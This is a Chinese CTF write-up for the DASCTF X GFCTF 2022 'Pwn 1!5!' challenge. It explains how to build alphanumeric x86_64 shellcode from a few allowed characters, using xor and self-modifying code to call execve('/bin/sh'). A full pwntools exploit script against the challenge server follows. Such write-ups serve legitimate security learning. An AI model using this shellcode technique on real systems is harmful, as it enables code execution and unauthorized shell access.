DASCTF X GFCTF 2022 十月挑战赛 Pwn 1!5!

一题打了一整天…

shellcode 题, 只能写大写字母 和 1, 5, a, 并且输入要满 512 字节, 不能有 0.

https://web.archive.org/web/20110716082850/http://skypher.com/wiki/index.php?title=X64_alphanumeric_opcodes 这里可以查看 x86_64 字母数字 shellcode.

大写字母对应的指令有 push 所有的 64 位寄存器, 和 pop rax, pop rcx, pop rdx. 同时大写字母也是 64 位寄存器 a 没有对应的指令. 5 对应的指令是 xor eax, i32, 即向 eax 中异或上 32 位立即数. 注意到程序在执行 shellcode 前, 有一句 xor rax, rax, shellcode 执行时, rax 是 0. 这样, 我们可以通过 xor eax, push rax, pop r64, 来向 rcx, rdx 中写入任意 32 位数. 也就是说, 我们可以较为直接地使用三个寄存器.

1 对应的指令是 xor [m64], r64. 其中, [m64] 是用 64 位寄存器相对寻址, 比如 xor [rdx + 0x50], rcx. 但是这个寻址必须是短距离的, 偏移量只能是一个字节. 这个偏移会写入指令中, 所以偏移也必须是被允许的字符.

执行 execve("/bin/sh", 0, 0), 需要解决几个问题:

  1. 写入 “/bin/sh\0”
  2. 向 rdi 中写入地址
  3. 执行 syscall

这些都不能直接做到. 但是, 我们可以利用 xor [m64], r64 这个指令, 向任意位置写入. 同时, 由于执行代码的区域具有可写权限, 所以可以控制偏移, 使得某一处的指令改变. 比如可以通过对 pop rdx (0x5a) 这条指令进行异或 5, 就能够得到 pop rdi (0x5f) 了. syscall 指令也同理.

不在允许列表中的字符, 可以通过异或来得到. (TODO: 写一个算异或的脚本) 所以大概是这样的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
xor eax, 0x5058534e
xor eax, 0x48313161
xor eax, 0x43616161
xor eax, 0x35616161 /* eax = "/bin" */
push rax
pop rcx             /* rcx = "/bin" */
xor eax, 0x5058534e
xor eax, 0x48313161
xor eax, 0x43616161
xor eax, 0x35616161 /* reset rax */

xor eax, 0x61434161
xor eax, 0x61424261 /* eax = 0x10300 */
push rax
pop rdx             /* rdx = 0x10300 */
xor [rdx+0x45], rcx /* *(0x10350) = "/bin" */
xor eax, 0x61434161
xor eax, 0x61424261 /* reset rax */

好像上面直接用 xor [rax + 0x45], rcx 就行… 写的时候傻了…

反正一直这么写下去就可以了, 太多了不细说了.

注意一下有可能因为写内存的偏移只能是特定的大小, 会导致某些地方写不上. 简单的做法是填充一段指令进去, 让需要修改的地方移动到能够修改的地方. exp 中的一堆连着的 xor eax, 0x61616161 就是在干这个事.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
import subprocess
context(os='linux', arch='amd64')#, log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 26710)
elf = ELF(procname)
# libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result


shellcode = asm('''
  /* 0x010345 = "/bin//sh" */
  xor eax, 0x5058534e
  xor eax, 0x48313161
  xor eax, 0x43616161
  xor eax, 0x35616161
  push rax
  pop rcx
  xor eax, 0x5058534e
  xor eax, 0x48313161
  xor eax, 0x43616161
  xor eax, 0x35616161

  xor eax, 0x61434161
  xor eax, 0x61424261
  push rax
  pop rdx
  xor [rdx+0x45], rcx
  xor eax, 0x61434161
  xor eax, 0x61424261

  xor eax, 0x59424e4e
  xor eax, 0x31316161
  push rax
  pop rcx
  xor eax, 0x59424e4e
  xor eax, 0x31316161

  xor eax, 0x61434161
  xor eax, 0x61424261
  push rax
  pop rdx
  xor [rdx+0x49], rcx
  xor eax, 0x61434161
  xor eax, 0x61424261

  xor eax, 0x61434250
  xor eax, 0x61424141
  xor eax, 0x61616161
  xor eax, 0x61616135
  push rax      /* 0x010345 */
  xor eax, 0x61434250
  xor eax, 0x61424141
  xor eax, 0x61616161
  xor eax, 0x61616135

  xor eax, 0x61616144
  xor eax, 0x61616141
  push rax
  pop rcx
  xor eax, 0x61616144
  xor eax, 0x61616141

  xor eax, 0x61426148
  xor eax, 0x61436135
  push rax
  pop rdx
  xor eax, 0x61426148
  xor eax, 0x61436135

  xor [rdx + 0x50], rcx /* rcx = 5 */
  pop rdx               /* pop rdi */
  push rax /* push 0 */

  xor eax, 0x61616145
  xor eax, 0x61616141
  push rax
  pop rcx               /* rcx = 4 */
  xor eax, 0x61616145
  xor eax, 0x61616141


  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161
  xor eax, 0x61616161


  xor eax, 0x61424261
  xor eax, 0x61434361
  push rax
  pop rdx             /* rdx = 0x010100 */
  xor eax, 0x61424261
  xor eax, 0x61434361
  xor [rdx + 0x31], rcx /* rcx = 4 */
  pop rdx       /* pop rsi */

  xor eax, 0x61615550
  xor eax, 0x61616148
  xor eax, 0x61616147
  xor eax, 0x61616161
  push rax
  pop rcx     /* rcx = 0x313e, to xor 0x31 to get 0x050f */
  xor eax, 0x61615550
  xor eax, 0x61616148
  xor eax, 0x61616147
  xor eax, 0x61616161

  xor eax, 0x61424253
  xor eax, 0x61434361
  push rax
  pop rdx
  xor eax, 0x61424253
  xor eax, 0x61434361
  xor [rdx + 0x50], rcx /* rcx = 0x313e */

  push rax
  pop rdx
  xor eax, 0x61616161
  xor eax, 0x6161615a
''')

print(len(shellcode))
print(shellcode)

payload = shellcode.ljust(0x200, b'1')
pause()
io.send(payload)
io.interactive()